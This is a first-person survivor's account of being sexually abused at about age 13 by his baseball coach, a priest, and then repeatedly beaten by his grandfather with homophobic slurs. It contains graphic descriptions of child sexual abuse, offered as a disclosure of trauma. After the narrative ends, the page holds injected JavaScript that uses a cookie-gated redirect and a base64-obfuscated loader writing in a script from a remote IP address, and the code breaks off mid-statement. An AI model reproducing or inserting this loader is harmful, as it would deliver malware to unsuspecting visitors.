Growing up my dad was not around a lot and we lived near our Grandparents. So my grandfather, Poppop, was our male role model and protector. We were always different and as such we got picked on a lot. For years my Mom told us fighting was bad and if we did get into a fight we would be in trouble. When my mom was mad it was always how could we do that to her, it was already so hard on her, what was wrong with us, I took it to mean if she was angry at us we lost her love.
As I said we would get picked on a lot as kids and I can remember my grandfather would often come to the rescue and save us. One day I got jumped by two kids in the neighborhood and I did not fight back because I did not want to get into trouble. When it was over I walked home and my mom asked what was wrong I told her and she asked why didn’t I fight back and I told her I was afraid of getting into trouble. She agreed and told me I would have. Later when my grandfather found out he just shook his head at me.
So a few years later I am on this team and I get molested by my little league coach:
Forgive me as I fumble through this and pardon me in that it is not a complete memory. I have yet to tell this all in one sitting so as this will be the first time I put as much as I can into the one situation that is clearest to me. I believe there were other issues of abuse, not sure that they involved sexual abuse, some violent being hit, and others verbal emotional or being blackmailed.
Recently the hurt boy who lives inside of me has been dealing with massive issues of shame, humiliation, feelings of being pathetic and the feeling that I have a Scarlet letter on me that says I am a victim of CSA and other abuses me. In many ways I feel I have always had a letter on me that signals to everyone I would be a good victim. My hope is by finally telling it out loud so to speak for others to read perhaps I could begin to rid the shame and maybe put a small tear in my Scarlet letter.
I believe it was the summer following my 13th birthday, I was on a great baseball team: we ultimately went undefeated through the season, the playoffs and the championship. At the end of the year we had a big banquet at with the league and we got our team picture with Larry Bowa, a Philadelphia Phillies Shortstop and one of my boyhood heroes at the time. We got to meet him because our coach was a Priest and he had played the role of the Phillies Pastor on occasion.
So here is how a nice Jewish boy gets molested by a priest, just thinking about it, it sounds like some sort of bizarre joke. So here it goes:
We played our games at a field around 2 miles from my house so I sometimes rode my bike to the games and the Coach (Priest) asked me to come early for a game to help with some stuff. He said a couple of other guys were going to come as well. When I got there I was alone and then he pulled up. He smiled and said I was lucky I showed up because the others had bailed out on him and they would be punished at practice with extra laps, while I would be lucky and get a treat.
I don’t remember what he said but he convinced me we needed to go into the woods for something. The stupidity of me for going still haunts me. The next thing I remember is I am standing next to a tree (it is on my left) and he and I are fumbling with my belt, he was trying to undo it and I don’t know if I was trying to stop him, I hope, or help him (more shame) undo my belt. I then remember both my hands are against the tree and I am leaning on it to the left, my pants, underpants and cup and cup holder are at my ankles and my shirt is unbuttoned down the front. He begins to rub my belly chest and massage my nipples, I was always a little plump so he begins to call me his “Pig” and he continues to rub and then poke me all over. I don’t remember if he rubbed my penis or testicles but he poked at them and laughed. He continued to call me a “Pig” and a “beast” and then he began to rub his penis and testicles against my body. He kept grabbing my “love handles” and poking them. He made a lot of grunts and told me I was a dirty pig and like a beast.
He finished on me and picked up his pants and started to walk away, I began to shudder and cry and I did not know what to do with the stuff he had left on me, so I began to pick up leaves to rub it off me, which made me dirty and he turned around and chuckled, he said something like, “go ahead and try to clean it up just like the pig you are, now you are even dirtier like a pig”. He told me I need to hurry up and clean up and get dressed and that everyone would be watching me when we got out and if I was not careful they would guess what we were doing and I must have liked it because I am a pig.
I remember finally getting cleaned as much as I could and getting dressed and walking out of the woods, there were some people there and I remember feeling like everyone did know, there was no place to hide. When I got to the dugout one of the players asked why I was in the woods past the outfield and the Coach said “I was going into woods to use the bathroom like the animal I was”
So there it is. My first complete telling, not sure how I feel about it other than I am both afraid and glad I did it. Still feel like I am wearing the letter but for the moment it is not as obvious as if it were Scarlett.
So we are having the final ball and banquet for the season and we are the champions as we went undefeated through the year, the playoffs and the championship. We were at a school and I really had to go to the bathroom, the first bathroom I got to had too many people in it, the second one the lights would not work. I had been to this school before and I knew there was a bathroom in a janitor’s closet at the back of the school, it was an old dirty one but I knew it would be empty. So I ran down there as I really had to go. As I finished, I had flushed the toilet and was pulling up my pants when my coach/priest walked in. He saw my pants down and started to unbutton his, I did not want this to happen again so I tried to grab my pants up and bull him over with my body and fist to get by him. It did not work, he was way bigger than me and he threw me against the sink, turned me around and started to try to force my legs apart with his knees, he was pressed against the back of my body and he was pressing my hands against the wall with one of his hands and was trying to aim his penis into my buttocks, I kept struggling but he just kept slapping me across the back of my head. Finally he got me in some sort of lock and I was exhausted and could not fight anymore, I was crying and screaming but he started to enter me.
My grandfather had started to wonder where I was and came looking for me, someone had seen me head to this bathroom or something so he walked in as my coach was just getting inside of me. My grandfather grabbed
him and pulled him away and hit him. The coach screamed and said I had asked for it and that we had done it before and I liked it so much we did it all the time (all lies). My grandfather turned and looked at me, he got bright red and called my a fagala and began to beat me, I begged him to stop and I don’t know how long it went on for I just remember he finally stopped hitting me and told me to put my clothes on. He left me there I don’t know where my coach was but he was gone.
I got back to the banquet in time for the final picture and the coach kept smiling and winking at me, my grandfather would not even look at me.
I can remember a week or so later I was at his apartment and my grandfather was there and my grandmother was out, he took me into the bedroom and told me he always knew I was a fagala after I did not try to fight off those two boys and now I was proving it by letting the coach do that to me, I started to cry and explain but that just got him madder as he kept calling me a fagala and then he told me he would beat it out of me and so he tried.
For the next two to three years he would try, he would simply call me over to his apartment when he was alone and beat me for a while and tell me to leave.
One time he came to pick me up at the Tri-State Mall after a movie as it was raining, after we dropped my friend off he stopped twice and made me get out of the car and beat me in the rain each time he would call me a fagala and that would be all he said.
It finally stopped when he and my grandmother moved into a low income senior housing building so he would not beat me there, but when we were alone he would say he would rather be dead than have a fagala for a grandson. He told me that one day years later after my mom was remarried and we moved into a house about 15 miles away. A week later he was dead, that was the last thing he ever said to me.
As I reflect more I realize how the beatings changed. At first I would try to convince him I was not a fagala and I would cry and beg him to stop, that only made him madder, and I remember it was the third time he beat me in his apartment (the sixth time in total at that point, once at the school, twice outside in the rain and the rest at his appartment ) that I again cried and begged him to stop that I was not a fagala, he said I acted and cried like one so I must be one. That was the last time I can remember crying until I turned into an adult and my son and wife were sick. I had to stop crying to prove I was not a fagala to my Poppop. It was then that I learned to be a man was not to cry, it was to take the pain and not show it hurt. At times I can remember he would knock me down and I used to cower on the floor until he stopped, now when he knocked me down I would let him kick me a few times then I would get up so he could start again. I was going to prove I could take anything he did and I would try not to duck, flinch or cower, I would stand there and suck it up and take it like a man. The beatings still went on and in fact that were shorter but more brutal, more closed fists and more kicks, I learned to stop blocking them and simply to take it so it would go quicker.
It seemed to make him happier that I learned to take it, he would even smile sometimes when it was over and that made me feel like I earned his love and respect back a little bit more. It got to the point that I knew when ever I saw him he would simply gesture with his head to go in a certain direction and I knew to go that way until we found privacy and then he would simply start. At least twice a week this went on, we ate dinner at their apartment once or twice a week, and sometimes he or my grandmother would call our apartment and say Poppop needed my help with something which I new meant come get a beating. For some reason I would go there just like it was another chore that had to be done, it was my turn to dust, vacuum, do the dishes (my brother sister and I rotated on these each week) and now it was my chore to be beaten, except there were no turns here it was just my chore and mine to do alone, I guess that is one of the reasons I always kept it inside, it was easier, quicker, and less painful; more manly I was not a fagala, I hate that word and now I know why.
My male hero, the man who protected me, died ashamed of me and considered me an embarrassment to him. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘